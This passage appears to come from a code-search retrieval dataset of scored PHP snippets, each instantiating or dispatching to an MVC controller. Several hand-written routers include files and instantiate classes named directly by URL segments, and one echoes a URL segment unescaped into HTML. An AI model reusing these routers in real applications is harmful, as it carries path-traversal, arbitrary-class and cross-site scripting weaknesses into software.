"c30b5e0cdc833f02671bd56ba0818419", "score": "0.6379362", "text": "function create_controller () {\n\t\t$file_content = file_get_contents('generator/GeneratedObjectController.php');\n\n\t\t// replace names\n\t\t$file_content = $this->replace_names($file_content);\n\n\t\t// replace datatable display & search columns\n\t\t$content = [];\n\t\tforeach ($this->columns as $name => $type) {\n\t\t\t$content[] = \"'$name'\";\n\t\t}\n\t\t$file_content = str_replace('// generator display columns', '$this->datatable->display_columns = ['.implode(', ', $content).'];', $file_content);\n\t\t$file_content = str_replace('// generator search columns', '$this->datatable->search_columns = ['.implode(', ', $content).'];', $file_content);\n\n\t\t// replace validator rules\n\t\t$content = '';\n\t\tforeach ($this->columns as $name => $type) {\n\t\t\tif ($type != 'ai') {\n\t\t\t\t$content .= '\t\t$validator->rules[] = [\\''.ucfirst(str_replace('_', ' ', $name)).'\\', \\''.$name.'\\', \\'required\\'];'.PHP_EOL;\n\t\t\t}\n\t\t}\n\t\t$file_content = str_replace('\t\t// generator rules', rtrim($content, PHP_EOL), $file_content);\n\n\t\t// create new class file with content\n\t\tfile_put_contents('app/controllers/'.$this->name['class'].'Controller.php', $file_content);\n\t}", "title": "" }, { "docid": "741d17127e5bffbe3e123e20f5163cec", "score": "0.6379253", "text": "public function CreateController()\n {\n if(class_exists($this->controller))\n {\n $parents = class_parents($this->controller);\n\n //does the class extend the controller class\n //if not error to bad url\n if(in_array('BaseController', $parents))\n {\n //does the class contain the requested method\n //if not error to bad url\n if(method_exists($this->controller, $this->action))\n {\n return new $this->controller($this->action, $this->urlParams);\n }\n else\n {\n return new Error('BadUrl', $this->urlValues);\n }\n }\n else\n {\n return new Error('BadUrl', $this->urlValues);\n }\n }\n else\n {\n return new Error('BadUrl', $this->urlValues);\n }\n }", "title": "" }, { "docid": "a63577bbe00a8d905bcd679acc6c0582", "score": "0.63691664", "text": "protected function createTestController() {\n\t\t$controller = new CController('test');\n\n\t\t$action = $this->getMock('CAction', array('run'), array($controller, 'test'));\n\t\t$controller->action = $action;\n\n\t\tYii::app()->controller = $controller;\n\t\treturn $controller;\n\t}", "title": "" }, { "docid": "f56a64bb7cfeb36f9051c562c69f3277", "score": "0.63664764", "text": "protected function callController() {\n\n\t\t\t// Create class name\n\t\t\t$className = self::get(\"applicationNamespace\") . \"\\\\Controllers\\\\\" . $this->_activeRoute->controller;\n\n\t\t\t// Create the controller\n\t\t\t$controllerInstance = new $className($this->_request, $this->_activeRoute, $this->_urlVariables);\n\n\t\t\t// Is it a Controller-derived classed?\n\t\t\tif (!is_subclass_of($controllerInstance, \"ChickenWire\\Core\\Controller\")) {\n\t\t\t\tthrow new \\Exception(get_class($controllerInstance) . \" does not extend ChickenWire\\\\Core\\\\Controller.\", 1);\t\t\t\t\n\t\t\t}\n\t\t\t\n\t\t\t// Call the action!\n\t\t\t$controllerInstance->{$this->_activeRoute->action}();\n\n\n\t\t}", "title": "" }, { "docid": "1da6b6bfbe1b17981fb3006484b5611d", "score": "0.6362718", "text": "public function createController(){\n // check for class User in the url\n if(class_exists($this->controller)){\n //class_parents — Return parent classes of the given class as array\n //eg.User class in index.php/User/register\n //if User extends class Controller, then result is an array of parent class Controller\n $parents = class_parents($this->controller);\n \n //check Extend\n //in_array(needle, haystack)\n //checks for class Controller in the returned array\n if(in_array('Controller', $parents)){\n //does the class User have a method register?\n //bool method_exists ( mixed $object , string $method_name )\n if(method_exists($this->controller, $this->action)){\n //creates an instance object of the User class\n //this class is extends base Controller class\n //its passed a method (register) and the url (index.php/Users/register)\n return new $this->controller($this->action, $this->request);\n }else{\n //Method does not exist\n echo 'Method does not exist';\n return;\n }\n }else {\n //Base controller not found\n echo \"Base controller not found\";\n }\n }else{\n //Controller class does not exist\n echo \"Controller class does not exist\";\n }\n }", "title": "" }, { "docid": "ef09b25682a9f1867aa178915b4fd85f", "score": "0.63574517", "text": "protected function _initController()\n\t{\n\t\t$request = $this->getRequest();\n\t\t$response = $this->getResponse();\n\t\tif(isset($this->modes[$request->getModeName()]) && isset($this->modes[$request->getModeName()]['controller']))\n\t\t{\n\t\t\t$class_name = $this->modes[$request->getModeName()]['controller'];\n\t\t\t$class_path = vartrue($this->modes[$request->getModeName()]['path']);\n\n\t\t\tif($class_path)\n\t\t\t{\n\t\t\t\trequire_once(e107::getParser()->replaceConstants($class_path));\n\t\t\t}\n\t\t\tif($class_name && class_exists($class_name))//NOTE: autoload in the play\n\t\t\t{\n\t\t\t\t$this->_current_controller = new $class_name($request, $response);\n\t\t\t\t//give access to current request object, user defined init\n\t\t\t\t$this->_current_controller->setRequest($this->getRequest())->init();\n\t\t\t}\n\t\t\t// Known controller (found in e_admin_dispatcher::$modes), class not found exception\n\t\t\telse\n\t\t\t{\n\t\t\t\t// TODO - admin log\n\t\t\t\t// get default controller\n\t\t\t\t$this->_current_controller = $this->getDefaultController();\n\t\t\t\t// add messages\n\t\t\t\te107::getMessage()->add('Can\\'t find class <strong>&quot;'.($class_name ? $class_name : 'n/a').'&quot;</strong> for controller <strong>&quot;'.ucfirst($request->getModeName()).'&quot;</strong>', E_MESSAGE_ERROR)\n\t\t\t\t\t->add('Requested: '.e_SELF.'?'.$request->buildQueryString(), E_MESSAGE_DEBUG);\n\t\t\t\t//\n\t\t\t\t$request->setMode($this->getDefaultControllerName())->setAction('e404');\n\t\t\t\t$this->_current_controller->setRequest($request)->init();\n\t\t\t}\n\n\t\t\tif(vartrue($this->modes[$request->getModeName()]['ui']))\n\t\t\t{\n\t\t\t\t$class_name = $this->modes[$request->getModeName()]['ui'];\n\t\t\t\t$class_path = vartrue($this->modes[$request->getModeName()]['uipath']);\n\t\t\t\tif($class_path)\n\t\t\t\t{\n\t\t\t\t\trequire_once(e107::getParser()->replaceConstants($class_path));\n\t\t\t\t}\n\t\t\t\tif(class_exists($class_name))//NOTE: autoload in the play\n\t\t\t\t{\n\t\t\t\t\t$this->_current_controller->setParam('ui', new $class_name($this->_current_controller));\n\t\t\t\t}\n\t\t\t}\n\t\t\t$this->_current_controller->setParam('modes', $this->modes);\n\n\t\t}\n\t\t// Not known controller (not found in e_admin_dispatcher::$modes) exception\n\t\telse\n\t\t{\n\t\t\t// TODO - admin log\n\t\t\t$this->_current_controller = $this->getDefaultController();\n\t\t\t// add messages\n\t\t\te107::getMessage()->add('Can\\'t find class for controller <strong>&quot;'.ucfirst($request->getModeName()).'&quot;</strong>', E_MESSAGE_ERROR)\n\t\t\t\t->add('Requested: '.e_SELF.'?'.$request->buildQueryString(), E_MESSAGE_DEBUG);\n\t\t\t// go to not found page\n\t\t\t$request->setMode($this->getDefaultControllerName())->setAction('e404');\n\t\t\t$this->_current_controller->setRequest($request)->init();\n\t\t}\n\n\t\treturn $this;\n\t}", "title": "" }, { "docid": "52f7bec32720f6b40740a4ff365a324c", "score": "0.6348921", "text": "private static function toController($controller, Request $req, Response $resp){\n $c = think_controller_analyze($controller);// Analyze controller reference name\n $appNameSpace = $c->appNameSpace;\n $controllerNameSpace = $c->controllerNameSpace;\n if(in_array($appNameSpace, self::$deny_app_list)){// Deny app list works\n throw new ControllerNotFoundException(null, $appNameSpace.\"/\".$controllerNameSpace);\n }\n $methodName = $c->methodName;\n $classFullName = $c->classFullName;\n try{\n global $TW_ENV_REQUEST, $TW_ENV_LANG;\n $req->controllerInfo = $c; // Inject Controller environment info\n $TW_ENV_REQUEST = $req;\n $TW_ENV_LANG = $req->getLang();\n $controller = new $classFullName($req, $resp); // Get a Controller instance\n }catch (\\Error $e){\n /* Locate the Controller PHP file */\n $phpFile = Loader::classToAppFilePathPsr0($classFullName);\n if(!is_file($phpFile)){\n $phpFile = Loader::classToAppFilePath($classFullName);\n }\n if(is_file($phpFile)){\n $errorMsg = \"\";\n $result = Debug::checkPHPSyntax($phpFile, $errorMsg);// Check syntax error\n if(!$result){\n throw new SyntaxParseException($phpFile, $errorMsg);\n }\n }\n /* File not found */\n throw new ControllerNotFoundException($e, $appNameSpace.\"/\".$controllerNameSpace);\n }\n if(!is_callable(array($controller, $methodName))){\n /* Method not found */\n throw new MethodNotFoundException(null, $appNameSpace.\"/\".$controllerNameSpace, $methodName);\n }\n try{\n /* Call _init method of Controller */\n if(is_callable(array($controller, \"_init\"))){\n $controller->_init();\n }\n /* Call _beforeAction method of Controller */\n if(is_callable(array($controller, \"_beforeAction\"))){\n $controller->_beforeAction($methodName);\n }\n /* Call the big guy */\n $controllerRet = $controller->$methodName($req, $resp);\n return $controllerRet;\n }catch (\\Error $e){\n throw new ControllerException($e, $appNameSpace.\"/\".$controllerNameSpace, $methodName);\n }catch (\\PDOException $e){\n throw new DbException($e, $appNameSpace.\"/\".$controllerNameSpace, $methodName);\n }catch (\\Exception $e){\n throw new ControllerException($e, $appNameSpace.\"/\".$controllerNameSpace, $methodName);\n }\n }", "title": "" }, { "docid": "bb4542d12133680bee2ccc4ff64862ac", "score": "0.6338721", "text": "public function createController(string $controller, array $services) {\n return new $controller($this->getServices($services));\n }", "title": "" }, { "docid": "e16825923612e20f95255ba32ba01a5f", "score": "0.6320304", "text": "public function __construct()\n {\n $url = $this->getUrl();\n if (!empty($url)) {\n // Look in controllers folder for controller\n if (file_exists('../Private/controllers/' . ucwords($url[0]) . '.php')) {\n // If exists, set as controller\n $this->currentController = ucwords($url[0]);\n // Unset 0 index\n unset($url[0]);\n }\n }\n\n // Require the current controller\n require_once('../Private/controllers/' . $this->currentController . '.php');\n\n // Instantiate the current controller\n $this->currentController = new $this->currentController;\n\n // Check if second part of url is set (method)\n if (isset($url[1])) {\n\n // Check if method/function exists in current controller class\n if (method_exists($this->currentController, $url[1])) {\n // Set current method if it exists\n $this->currentMethod = $url[1];\n // Unset 1 index\n unset($url[1]);\n }\n }\n\n // Get params - Any values left over in url are params\n $this->params = $url ? array_values($url) : [];\n\n // Call a callback with an array of parameters\n call_user_func_array([$this->currentController, $this->currentMethod], $this->params);\n }", "title": "" }, { "docid": "384c7ecb6e4166e49d7a6ea293edff6e", "score": "0.6316196", "text": "public function __construct() {\n $url = $this->parseUrl();\n if(file_exists('../app/controllers/'.$url[0].'.php'))\n {\n $this->controller = $url[0];\n unset($url[0]);\n }\n require_once '../app/controllers/'.$this->controller.'.php';\n $this->controller = new $this->controller;\n\n if(isset($url[1])) {\n if (method_exists($this->controller, $url[1]))\n {\n $this->method = $url[1];\n unset($url[1]);\n }\n }\n $this->params = $url ? array_values($url) : [];\n call_user_func_array([$this->controller,$this->method],$this->params);\n }", "title": "" }, { "docid": "93d7df3a09cc014864daa234c8723abb", "score": "0.6303445", "text": "public function makeApiController()\n {\n $controllerClass = \"{$this->module}/{$this->module}Controller\";\n\n $this->call('make:controller', [\n 'name' => $controllerClass,\n '--api' => true,\n ]);\n }", "title": "" }, { "docid": "3c2b23a318f8f600853306f541ad1954", "score": "0.63025373", "text": "function __construct()\n {\n $url = $_GET['url'];\n $url = rtrim($url, '/');\n $url = explode('/', $url);\n\n if($url[0] == '')\n $url[0] = 'suroojoop';\n\n $file = 'controllers/'.$url[0].'.php';\n if(file_exists($file))\n {\n require $file;\n }\n else\n {\n exit(\"<div style=\\\"border: 1px solid #000000; padding: 5px;\\\">Controller <b>{$url[0]}</b> does not exists.</div>\");\n }\n $controller = new $url[0];\n\n if(!method_exists($controller, $url[1]))\n {\n $url[1] = 'index';\n }\n\n if(isset($url[2]))\n {\n $controller->{$url[1]}($url[2]);\n }\n else\n {\n if(isset($url[1]))\n {\n $controller->{$url[1]}();\n }\n }\n }", "title": "" }, { "docid": "ccac90dc15ab1d1500fddbc27df0fbcf", "score": "0.62879866", "text": "public function __construct()\n {\n $this->controller = new MainController();\n $this->cli = new InteractiveCli();\n }", "title": "" }, { "docid": "357d9524ad24f73d9991299d2869f17f", "score": "0.6283191", "text": "public function __construct() {\n\t\t$this->categoryController = new CategoriaController();\n\t}", "title": "" }, { "docid": "cfcabc72a757dd305cc1e08a6bd5f845", "score": "0.62773496", "text": "private function makeApiController()\n {\n\n new MakeApiController($this, $this->files);\n }", "title": "" }, { "docid": "b3d0f810431c48da48d574a3342f562d", "score": "0.627608", "text": "private function run() {\n\n new PublicController();\n }", "title": "" }, { "docid": "52d5b0d26b9c5c6f460a8454d777128b", "score": "0.6263184", "text": "private function initController()\n {\n $container = $this->request->getControllerContainer();\n $container->validate();\n if(!$this->controller)\n $this->controller = $container\n ->getController()\n ->setRequest($this->request)\n ->setResponse($container->getResponse())\n ;\n return $this;\n }", "title": "" }, { "docid": "ce59003203168f21d906bd91b450fa84", "score": "0.6240362", "text": "public function __construct(){\n\n // Begin\n\n //Default initialization\n $this->controller['class'] = '';\n $this->controller['method'] = '';\n $this->controller['parameters'] = '';\n $this->controller['flag'] = '';\n\n $this->parse();\n\n switch ($this->routing()){\n\n case 'index':\n require 'controllers/Index.php';\n $app_controller = new Index();\n $app_controller->index();\n break;\n case 'class':\n //require 'controllers/' . $this->controller['class'] .'.php';\n $app_controller = new $this->controller['class'];\n $app_controller->index();\n break;\n case 'class/method':\n //require 'controllers/' . $this->controller['class'] .'.php';\n $app_controller = new $this->controller['class'];\n $method = $this->controller['method'];\n $app_controller->$method($this->controller['parameters']);\n break;\n case 'error':\n require 'controllers/Error_404.php';\n $app_controller = new Error_404();\n\n break;\n\n }\n\n // End\n }", "title": "" }, { "docid": "11fc5e77841e71e79ca850a2cdcc4a08", "score": "0.6232868", "text": "public function __construct() {\n $this->Services = new services\\ServicesController();\n }", "title": "" }, { "docid": "0b34426a487f3d5feb0fe456c48c735b", "score": "0.61894965", "text": "protected function getControllerObject($className)\n {\n if (!class_exists($className)) {\n throw new \\Exception('Controller class \"' . $className . '\" does not exist');\n }\n\n return new $className();\n }", "title": "" }, { "docid": "5f7f79b6433cbf038e2ad7a925580444", "score": "0.61678493", "text": "private function getMockController() {\n \t$controller = $this->generate('Locations');\n \t$controller->constructClasses();\n \t$controller->Components->init($controller);\n \treturn $controller;\n }", "title": "" }, { "docid": "459aea6e624541a0734fce30ba4f4f1a", "score": "0.6157609", "text": "private function callController() {\n $controllerRequest = explode('@', $this->requestRoute['action']['uses']);\n $controllerString = 'App' . DIRECTORY_SEPARATOR . 'controllers' . DIRECTORY_SEPARATOR . $controllerRequest[0];\n $controller = new $controllerString;\n\n call_user_func_array([$controller, $controllerRequest[1]], $this->requestVariables);\n }", "title": "" }, { "docid": "07abc6a33f8f45fda489a8895b158d02", "score": "0.61546016", "text": "public function __construct () {\r\n\t\t\t// Parse URL\r\n\t\t\t$url = $this->parse_url();\r\n\t\t\t// Load Controller\r\n\t\t\tif (isset($url[0])) {\r\n\t\t\t\t$controller_class = ucfirst(strtolower($url[0])) . \"Controller\";\r\n\t\t\t\t$controller_file = Config::controller_path . $controller_class . \".php\";\r\n\t\t\t\tif (file_exists($controller_file)) {\r\n\t\t\t\t\t$this->controller = $controller_class;\r\n\t\t\t\t\tunset($url[0]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\trequire_once Config::controller_path . $this->controller . \".php\";\r\n\t\t\t$this->controller = new $this->controller();\r\n\t\t\t// Find the method\r\n\t\t\tif (isset($url[1])) {\r\n\t\t\t\t$method_name = strtolower($url[1]);\r\n\t\t\t\tif (method_exists($this->controller, $method_name)) {\r\n\t\t\t\t\t$this->method = $method_name;\r\n\t\t\t\t\tunset($url[1]);\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t\t// Parse parameters\r\n\t\t\t$this->params = ($url != null)? array_values($url) : [];\r\n\t\t\t// Execute\r\n\t\t\tif (method_exists($this->controller, $this->method)) {\r\n\t\t\t\tcall_user_func_array([$this->controller, $this->method],\r\n\t\t\t\t\t$this->params);\r\n\t\t\t} else {\r\n\t\t\t\t$this->force_redirect();\r\n\t\t\t}\r\n\t\t\tView::show();\r\n\t\t}", "title": "" }, { "docid": "d8818fd610a4dafbfbf5d5abff4e5889", "score": "0.61384356", "text": "function findController($c, $path = '') {\n\n loadClass(\"Controller\", $c, $path);\n return new $c;\n}", "title": "" }, { "docid": "cdc49a64dfba383c77dc90de009e3756", "score": "0.6130564", "text": "public function __construct()\n {\n $this->auth = new AuthController;\n }", "title": "" }, { "docid": "9ba116dab7deec6034d4c9a072765a6d", "score": "0.61251456", "text": "public function __construct()\r\n {\r\n $url = $this->getUrl();\r\n \r\n if (isset($url[0])) {\r\n // Search if the controller exist\r\n if (file_exists('../app/controllers/' .ucwords($url[0]).'.php')){\r\n \r\n //Set the controller by default\r\n $this->currentController = ucwords($url[0]);\r\n\r\n //Unset initial index \r\n unset($url[0]);\r\n \r\n }\r\n }\r\n\r\n //require the controller\r\n require_once '../app/controllers/' . $this->currentController . '.php';\r\n $this->currentController = new $this->currentController;\r\n \r\n //Check the second part from url (Method)\r\n if (isset($url[1])){\r\n\r\n if (method_exists($this->currentController, $url[1])){\r\n $this->currentMethod = $url[1];\r\n unset($url[1]);\r\n }\r\n }\r\n \r\n //Get the parameters\r\n $this->parameters[] = $url ? array_values($url) : [];\r\n\r\n //Callback with parameters array\r\n call_user_func_array([$this->currentController, $this->currentMethod], $this->parameters);\r\n unset($url[2]); \r\n }", "title": "" }, { "docid": "bcaa36de43243b111f5dfd296978cbdf", "score": "0.60922474", "text": "public function __construct()\n {\n $this->model = str_replace('Controller', '', (new ReflectionClass(get_class($this)))->getShortName());\n }", "title": "" }, { "docid": "901fccfeeeff48ee3d2a996f0035f62f", "score": "0.60802054", "text": "protected function buildController(): void\n {\n $path = $this->namespace.$this->controllerPath.$this->argument('controller');\n // Controller namespace\n $this->controller = str_replace('/', '\\\\', $path);\n if ($this->laravel->runningInConsole()) {\n // Controller does not exists\n if (!class_exists($this->controller.$this->controllerExtension)) { // Append the 'Controller' suffix for path checking\n $response = $this->ask(\"Controller [{$this->controller}] does not exist. Would you like to create it?\", 'Yes');\n if ($this->rateResponse($response)) {\n // Build the controller by mocking the Artisan::call()\n $this->mock('controller', $this->controller.$this->controllerExtension);\n $this->line(\"Controller [{$this->controller}] has been successfully created.\");\n } else {\n $this->line(\"Controller [{$this->controller}] does not get created.\");\n }\n }\n }\n\n $controllerParts = explode('\\\\', $this->controller);\n $this->controllerName = array_pop($controllerParts);\n }", "title": "" }, { "docid": "b8c392744b1df1c8c46abef0029cc784", "score": "0.6073645", "text": "public function getController() {}", "title": "" }, { "docid": "f46b4bbf2600a7cefc0e0c3396d8be2d", "score": "0.60705084", "text": "private function choosenController()\n {\n $file = self::controllerFileBuilder();\n $class = self::controllerClassBuilder();\n \n if (file_exists($file)) {\n $this->controller = new $class();\n $this->controller->loadModel(self::getModel());\n $this->callMethod();\n } else {\n $this->raiseError();\n }\n }", "title": "" }, { "docid": "36f10fe19ad1967c6d91d05e14a3e9ca", "score": "0.6065252", "text": "public function __construct() {\n if(!empty(App::post('uid'))) {\n App::setUID(App::post('uid'));\n }\n if(!empty(App::get('lang')) || !empty(App::post('lang'))) {\n Translator::setLanguage(App::get('lang') ?? App::post('lang'));\n }\n if(!empty(App::get('r'))) {\n $url = \"/\".App::get('r');\n } else { // Pretty URL\n $uri = substr($_SERVER['REQUEST_URI'],0,strpos($_SERVER['REQUEST_URI'].'?','?'));\n $url = str_replace($_SERVER['BASE'], '', $uri);\n }\n // Uppercase char with prefix _\n $url = str_replace(\" \",\"\",ucwords(str_replace(\"_\", \" \", $url)));\n $controllerName = ucfirst(substr($url,1,strpos($url.\"/\",\"/\",1)-1));\n if (!empty($controllerName)) {\n $controllerNameLength = strlen($controllerName)+2;\n $actionName = 'action' . ucfirst(substr($url,$controllerNameLength,strpos($url.\"/\",\"/\",$controllerNameLength)-1));\n $actionName = ($actionName!='action') ? $actionName : 'index';\n } else {\n $controllerName=ucfirst(App::params('defaultController'));\n $actionName='index';\n }\n $controllerName = 'app\\\\controllers\\\\' . $controllerName . 'Controller';\n \n if (class_exists($controllerName)) {\n $controller = new $controllerName();\n if (@method_exists($controller,$actionName)) {\n $controller->$actionName();\n } elseif (@method_exists($controller,'index')) {\n Log::add(\"errorsFile\",__METHOD__, \"Controller $controllerName has no action $actionName\");\n $controller->index();\n } else {\n Log::add(\"errorsFile\",__METHOD__, \"Controller $controllerName has no Index action\");\n }\n } else {\n http_response_code(404);\n if (file_exists(self::$error404Page)) {\n include self::$error404Page;\n }\n die();\n }\n }", "title": "" }, { "docid": "d7e27ec5d03e84ea2631159e66ee4e5b", "score": "0.6061335", "text": "public function getController()\n {\n $dom = new DOMDocument;\n $dom->load(dirname(__FILE__).'/../apps/'.$this->app()->name().'/config/routes.xml');\n\n // Search the routes.xml file to find a route matching with the URL\n foreach ($dom->getElementsByTagName('route') as $route)\n {\n if (preg_match('`^'.$route->getAttribute('url').'$`', $this->app()->httpRequest()->requestURI(), $matches)) \n {\n $module = $route->getAttribute('module');\n $action = $route->getAttribute('action');\n \n $classname = ucfirst($module).'Controller';\n $file = dirname(__FILE__).'/../apps/'.$this->app()->name().'/modules/'.$module.'/'.$classname.'.class.php';\n \n if (!file_exists($file))\n throw new RuntimeException('The module used by the route \"' . $route->getAttribute('url') . '\" does not exist');\n \n require $file;\n\n $controller = new $classname($this->app(), $module, $action);\n\n if ($route->hasAttribute('vars'))\n {\n $vars = explode(',', $route->getAttribute('vars'));\n \n foreach ($matches as $key => $match)\n {\n if ($key !== 0)\n $this->app()->httpRequest()->addGetVar($vars[$key - 1], $match);\n }\n }\n \n break;\n }\n }\n if (!isset($controller))\n $this->app()->httpResponse()->redirect404();\n return $controller;\n }", "title": "" }, { "docid": "219809912c88210d9b5fa627691d8f22", "score": "0.6060347", "text": "function &get_instance()\n{\n return Controller::getInstance();\n}", "title": "" }, { "docid": "a6be5a05c91567ddb279ffea20659dd8", "score": "0.605395", "text": "public function __construct()\n {\n $this->args = $this->getTemplateArgs();\n $this->clientService = new RoomsApiClientService($this->args);\n $this->routerService = new RouterService();\n parent::controller($this->eg, $this->routerService, basename(__FILE__));\n }", "title": "" }, { "docid": "dd1435c8a999be3ed924bbd293f22005", "score": "0.6049006", "text": "public function make($class)\n {\n $controller = $this->container->make($class);\n $controller->setServer($this->makeServer());\n $controller->setView($this->makeView());\n $controller->setSession($this->makeSession());\n $controller->setUrlGenerator($this->makeUrlGenerator());\n\n return $controller;\n }", "title": "" }, { "docid": "25d306fadf279fa880b398b6ca58c7ad", "score": "0.6044211", "text": "public function testCreateTheControllerClass()\n {\n $controller = new HelloWorldController();\n $controller->helloMessage();\n $controller->helloMessageView();\n $controller->hello();\n $controller->helloWithArgument(\"hello\");\n $this->assertInstanceOf(\"\\App\\Controller\\HelloWorldController\", $controller);\n }", "title": "" }, { "docid": "930be58cde198b15fd1f9a45b4192794", "score": "0.60426027", "text": "protected function _loadController() {\n\t\t\n\t\tif (!$this->controllerName) {\n\t\t\t$this->err(__d('cake_console', 'Controller not found'));\n\t\t}\n\n\t\t$plugin = null;\n\t\tif ($this->plugin) {\n\t\t\t$plugin = $this->plugin . '.';\n\t\t}\n\n\t\t$controllerClassName = $this->controllerName . 'Controller';\n\t\tApp::uses($controllerClassName, $plugin . 'Controller');\n\t\tif (!class_exists($controllerClassName)) {\n\t\t\t$file = $controllerClassName . '.php';\n\t\t\t$this->err(__d('cake_console', \"The file '%s' could not be found.\\nIn order to bake a view, you'll need to first create the controller.\", $file));\n\t\t\treturn $this->_stop();\n\t\t}\n\t\t$controllerObj = new $controllerClassName();\n\t\t$controllerObj->plugin = $this->plugin;\n\t\t$controllerObj->constructClasses();\n\t\t$modelClass = $controllerObj->modelClass;\n\t\t$modelObj = $controllerObj->{$controllerObj->modelClass};\n\n\t\tif ($modelObj) {\n\t\t\t$primaryKey = $modelObj->primaryKey;\n\t\t\t$displayField = $modelObj->displayField;\n\t\t\t$singularVar = Inflector::variable($modelClass);\n\t\t\t$singularHumanName = $this->_singularHumanName($this->controllerName);\n\t\t\t$schema = $modelObj->schema(true);\n\t\t\t$fields = array_keys($schema);\n\t\t\t$associations = $this->_associations($modelObj);\n\t\t} else {\n\t\t\t$primaryKey = $displayField = null;\n\t\t\t$singularVar = Inflector::variable(Inflector::singularize($this->controllerName));\n\t\t\t$singularHumanName = $this->_singularHumanName($this->controllerName);\n\t\t\t$fields = $schema = $associations = array();\n\t\t}\n\t\t$pluralVar = Inflector::variable($this->controllerName);\n\t\t$pluralHumanName = $this->_pluralHumanName($this->controllerName);\n\n\t\treturn compact('modelClass', 'schema', 'primaryKey', 'displayField', 'singularVar', 'pluralVar',\n\t\t\t\t'singularHumanName', 'pluralHumanName', 'fields', 'associations', 'modelObj');\n\t}", "title": "" }, { "docid": "364ff26e89c5abc4ca09b896b22cfd42", "score": "0.60338426", "text": "public function __construct()\n {\n parent::__construct();\n parent::controller();\n }", "title": "" }, { "docid": "25956830d3804205798ff1351167461f", "score": "0.6024995", "text": "public function __construct( $controller) {\n\t\t$this->controller = $controller;\n\t}", "title": "" }, { "docid": "cc974f2332863cf40d995b9bd8436c74", "score": "0.6011247", "text": "public function __construct()\n {\n $url = $this->getURL();\n\n if(isset($url[0])){\n\n //override the default controller\n $this->ctrl = strtolower($url[0]);\n\n //remove the controller name from $url variable\n unset($url[0]);\n }\n\n if(isset($url[1])){\n\n //override the default method\n $this->method = strtolower($url[1]);\n\n //remove the method name from $url variable\n unset($url[1]);\n }\n\n //store the request method `GET` or `POST`\n $request_method = strtolower($_SERVER[\"REQUEST_METHOD\"]);\n \n //create a dynamic path for controller\n $ctrl_path = \"app/controllers/{$request_method}/{$this->ctrl}.ctrl.php\";\n\n if(file_exists($ctrl_path)){\n\n //inclue the controller\n include $ctrl_path;\n\n //create an instance and store it in $this->ctrl variable\n $this->ctrl = new $this->ctrl();\n\n }else{\n\n //exite the script and show 404 page if controller does not exist\n include \"app/views/pages/404.view.php\";\n die();\n }\n\n if(method_exists($this->ctrl, $this->method)){\n\n //store existing paramerter in to pass in the method\n $this->params = array_values($url);\n \n //finaly call the function from the \n call_user_func_array(array($this->ctrl,$this->method), $this->params);\n\n }else{\n\n //exite the script and show 404 page if method does not exist\n include \"app/views/pages/404.view.php\";\n die();\n }\n\n }", "title": "" }, { "docid": "60add91c310ca0cc0f45e87b6fd54b22", "score": "0.60080856", "text": "public static function instantiate() {\n\t\treturn new self();\n\t}", "title": "" }, { "docid": "d830f60e78479e51fb948352f3a8bbca", "score": "0.60061365", "text": "public function __construct() {\n\t\t// Get the address the user navigated to\n\t\tCore_Url::getUrlBreakdown();\n\n\t\t// Inform the bootstrap a request has been initialised\n\t\tCore_Bootstrap::initRequest($_GET['controller'], $_GET['action']);\n\n\t\t// Try and instantiate the controller\n\t\t$this->loadController($_GET['controller']);\n\t}", "title": "" }, { "docid": "16c8747c53a279d24cb7c1fdef842aea", "score": "0.5982717", "text": "public function __construct()\n\t{\n\t\t// construct Controller\n\t\tparent::__construct();\n\t\t// Parse default data about app\n\t\t$this->data['App'] = $this->App;\n\t}", "title": "" }, { "docid": "e8458bc5d4cd3ab1c9dbdcd9b322f4ce", "score": "0.5979583", "text": "public function testInstantiation()\n {\n $controller = new BackendController();\n\n $this->assertInstanceOf('Contao\\\\CoreBundle\\\\Controller\\\\BackendController', $controller);\n }", "title": "" }, { "docid": "938c043ecf58d3ef78f56c8b729dcb65", "score": "0.59685224", "text": "public function setUp()\n {\n $this->class_object = $this->newController('Website_Controller');\n }", "title": "" }, { "docid": "b0371a3175e8570930ad3fd8a0c0fe2f", "score": "0.5963074", "text": "public function __construct( ){\n\n // Class Name without namespace (App\\Http\\Controllers\\ModelCrudController) to ModelCrudController\n // $path = explode('\\\\', __CLASS__);\n // $this->parent_class = array_pop($path);\n\n // App\\Http\\Controllers To [0=>\"App\", 1 =>\"Http\", 2=>\"Controllers\"];\n $path = explode('\\\\', get_called_class());\n\n // TableController,ItemController\n $this->current_class = array_pop($path); \n \n // ItemController to Item\n $this->crud_table = explode('Controller', $this->current_class)[0]; \n\n // Set Namespace if Model Class stored in some where else ( default is 'App\\' )\n $this->namespace = (!$this->namespace)? \"App\\\\\" : $this->namespace;\n\n if (!$this->model) {\n $class = $this->namespace.$this->crud_table;\n $this->model = new $class;\n }else{\n $class = $this->namespace.$this->model;\n $this->crud_table = $this->model;\n $this->model = new $class;\n }\n\n }", "title": "" }, { "docid": "b526a7fb98b2de5fa773bb17d5327d25", "score": "0.59608614", "text": "private function _controller()\n\t{\n\t\t$class_name = ucfirst($this->_name);\n\t\t$parent_controller = self::parent_controller;\n\t\t$parent_controller_constructor = self::parent_controller_constructor;\n\t\t$application_folder_name = self::application_folder_name;\n\t\t\n$controller = <<<CONTROLLER\n<?php if (!defined('BASEPATH')) exit('No direct script access allowed');\n\nclass {$class_name} extends {$parent_controller}\n{\n\t/**\n\t * The Constructor!\n\t **/\n\tpublic function __construct()\n\t{\n\t\tparent::{$parent_controller_constructor}();\n\t}\nCONTROLLER;\n\n\t\t$controller = $this->_add_actions($controller);\n\n$controller .= <<<CONTROLLER\n\t\n} // End of the {$class_name} controller\n\n/* End of file {$this->_name}.php */\n/* Location ./{$application_folder_name}/controllers/{$this->_name}.php */\nCONTROLLER;\n\t\t\n\t\treturn $controller;\n\t}", "title": "" }, { "docid": "ab9c79723d50f2af14860db38ca5b0bd", "score": "0.5955422", "text": "public function getController()\n\t{\n\t\tif (! $this->controller) {\n\t\t\t$class = $this->parseControllerCallback()[0];\n\n\t\t\t$this->controller = app()->make(ltrim($class, '\\\\'));\n\t\t}\n\n\t\treturn $this->controller;\n\t}", "title": "" }, { "docid": "6b88b919f0d1d70ab9e0a1faf806eacc", "score": "0.5952563", "text": "public function getDefaultController()\n\t{\n\t\t$class_name = $this->getDefaultControllerName();\n\t\treturn new $class_name($this->getRequest(), $this->getResponse());\n\t}", "title": "" }, { "docid": "cc41284efc11b7e5cf5c87df26c30815", "score": "0.5940519", "text": "public function testConstructor()\n {\n /** @var 